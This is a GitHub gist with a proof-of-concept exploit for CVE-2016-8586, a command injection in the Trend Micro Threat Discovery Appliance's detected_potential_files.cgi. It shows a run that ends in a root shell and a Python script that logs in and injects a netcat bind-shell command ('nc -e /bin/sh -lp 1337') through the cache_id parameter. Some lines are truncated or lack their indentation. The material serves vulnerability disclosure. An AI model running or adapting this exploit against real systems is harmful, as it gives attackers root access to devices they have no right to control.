Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
CVE-2016-8586 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 detected_potential_files.cgi Command Injection Remote Code Execution Vulnerability
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 detected_potential_files.cgi Remote Code Execution Vulnerability
Found by: Roberto Suggi Liverani - @malerisch - & Steven Seeley of Source Incite
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./
(+) usage: ./ <target> <pass>
(+) eg: ./ admin123
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./ admin
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
uid=0(root) gid=0(root)
uname -a
Linux localhost #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
import re
import os
import sys
import time
import requests
import threading
if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s admin123" % sys.argv[0]
t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/detected_potential_files.cgi" % bu
s = requests.Session()
def exec_bd(s, e_url):
# now we setup our backdoor
# no reverse, since it seems to fail !?
netcat = "|`nc -e /bin/sh -lp 1337`"
e_url += "?act=search&cache_id=%s" % netcat
s.get(e_url, verify=False, proxies={"http":""})
# first we login...
r =, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
thread = threading.Thread(target=exec_bd, args=(s, e_url,))
print "(+) starting backdoor, this will take a few secs..."
print "(+) calling backdoor!"
os.system("nc %s 1337" % t)
print "(-) login failed"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment